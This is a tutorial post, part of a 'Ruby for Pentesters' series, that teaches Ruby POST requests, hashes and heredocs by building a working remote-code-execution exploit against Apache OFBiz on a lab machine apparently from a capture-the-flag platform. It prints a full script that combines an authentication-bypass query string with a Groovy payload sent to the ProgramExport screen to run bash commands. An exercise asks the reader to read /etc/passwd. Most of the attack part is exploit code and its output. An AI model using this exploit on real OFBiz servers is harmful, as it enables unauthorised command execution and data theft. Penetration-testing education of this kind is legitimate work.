// Ruby for Pentesters · Part 3

First code execution

We point the auth bypass at OFBiz's ProgramExport screen, POST a Groovy payload, and run our first command on the box. Along the way you learn POST requests, hashes, and pulling data back out of a response.

RubyRCEPOSTHashes
5 min read

Part 2 got us past the login with a reusable get method. Being “authenticated” in OFBiz is only useful because of where it lets us go — specifically the ProgramExport screen, a developer tool that runs Groovy (a JVM scripting language) that you hand it. Arbitrary Groovy is arbitrary code execution. This part sends our first command and reads the answer back.

A method for POST

get put data in the URL. Running code means sending a body, which is a POST. Same shape as before, one more method:

def post(path, form)
  uri  = URI("#{BASE}#{path}")
  http = Net::HTTP.new(uri.host, uri.port)
  http.use_ssl     = true
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE
  req = Net::HTTP::Post.new(uri.request_uri)
  req.set_form_data(form)
  http.request(req)
end

The new part is form and set_form_data. form is a hash — Ruby’s key/value structure — and set_form_data URL-encodes it into a proper application/x-www-form-urlencoded body for us. We’ll call it like post('/x', 'groovyProgram' => payload).

Hashes, quickly

A hash maps keys to values:

job = { 'name' => 'ofbiz', 'shell' => '/bin/bash' }
puts job['name']     # => ofbiz
job['pid'] = 4242    # add a key

You’ll use hashes constantly — for form fields, JSON, HTTP headers, anything that’s “a set of named things.” Here we only need one field, groovyProgram.

The payload

ProgramExport reads a groovyProgram field and executes it. The reliable way to run a shell command from Groovy is its list form of execute(), which passes each list element as a literal argument so quoting survives:

def run(cmd)
  groovy = "throw new Exception(['bash', '-c', '#{cmd}'].execute().text)"
  post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
end

Two things worth understanding:

  • The string is double-quoted because it interpolates #{cmd} — the one place we need it. The single quotes inside are Groovy’s, not Ruby’s.
  • throw new Exception(...) is a trick: .text captures the command’s stdout, and throwing it as an exception makes OFBiz render that output straight into the response. So run hands back the whole response body, with our command’s output sitting inside it.

One limitation worth naming up front: because #{cmd} lands inside a single-quoted Groovy string ('#{cmd}'), a command that itself contains a single quote — say awk '{print $1}' — closes that string early and the payload breaks. For the simple commands here it’s fine, and Part 4 sidesteps the problem entirely by dropping into a real shell, where quoting becomes the remote shell’s job instead of ours.

Confirming execution

Run id and pick its recognizable line out of the response with a regex:

body = run('id')
puts body[/uid=\d+\([^)]+\).*/]

String#[] with a regex returns the first match (or nil). Run it:

$ ruby rce.rb
uid=1000(ofbiz) gid=1000(ofbiz) groups=1000(ofbiz)

That’s code execution as the ofbiz service user. The workflow you just learned — fire a command, then regex the answer out of the page — is how you operate a reflected-output RCE before you have a real shell. Which is exactly what Part 4 gets us.

Bigger payloads: heredocs

A one-line throw is fine for a single command, but real payloads grow. When a string spans multiple lines, gluing it together with \n and + is misery. Ruby’s answer is the heredoc — a block string that runs until a marker word:

def run_script(groovy)
  post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
end

payload = <<~GROOVY
  def out = new StringBuilder()
  ['id', 'hostname', 'whoami'].each { cmd ->
    out << cmd << ' -> ' << cmd.execute().text
  }
  throw new Exception(out.toString())
GROOVY

puts run_script(payload)
  • <<~GROOVY opens a heredoc; everything up to the line that is just GROOVY becomes the string. The marker word is arbitrary — GROOVY documents intent.
  • The ~ (a “squiggly” heredoc) strips the leading indentation, so you can indent the block to match your code and the payload still reaches the target flush-left.
  • A heredoc interpolates #{...} like a double-quoted string. If a payload contains literal #{} you don’t want touched, quote the marker — <<~'GROOVY' — to turn interpolation off.

Same post under the hood; the heredoc just makes a multi-line payload readable.

The script so far

#!/usr/bin/env ruby
require 'net/http'
require 'uri'

BASE   = 'https://bizness.htb'
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'

def post(path, form)
  uri  = URI("#{BASE}#{path}")
  http = Net::HTTP.new(uri.host, uri.port)
  http.use_ssl     = true
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE
  req = Net::HTTP::Post.new(uri.request_uri)
  req.set_form_data(form)
  http.request(req)
end

def run(cmd)
  groovy = "throw new Exception(['bash', '-c', '#{cmd}'].execute().text)"
  post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
end

puts run('id')[/uid=\d+\([^)]+\).*/]

Takeaways

  • A hash ({ 'k' => 'v' }) is Ruby’s named-value structure; set_form_data turns one into a POST body.
  • Net::HTTP::Post.new + set_form_data + http.request sends a POST — the same client pattern as get, with a body.
  • Use double quotes only when you interpolate ("#{cmd}"); the payload’s inner quotes were Groovy’s single quotes.
  • String#[](regex) pulls the first match out of text — perfect for isolating command output from a reflected-RCE response.
  • A heredoc (<<~NAME ... NAME) is Ruby’s multi-line string; ~ strips indentation and <<~'NAME' turns off #{} interpolation.

Exercises

  1. Run uname -a through run and pull just the kernel version out of the output with a regex (String#[]).
  2. Write run_many(cmds) that takes an array of commands and returns a hash of { cmd => output }. (each_with_object({}) is one clean way.)
  3. Use a heredoc to build a Groovy payload that reads /etc/passwd, send it, and extract the ofbiz line with a regex.

Next — Part 4: reflected output is clumsy. We upgrade to a real interactive shell by writing our own TCP listener in Ruby — and meet threads.

← All parts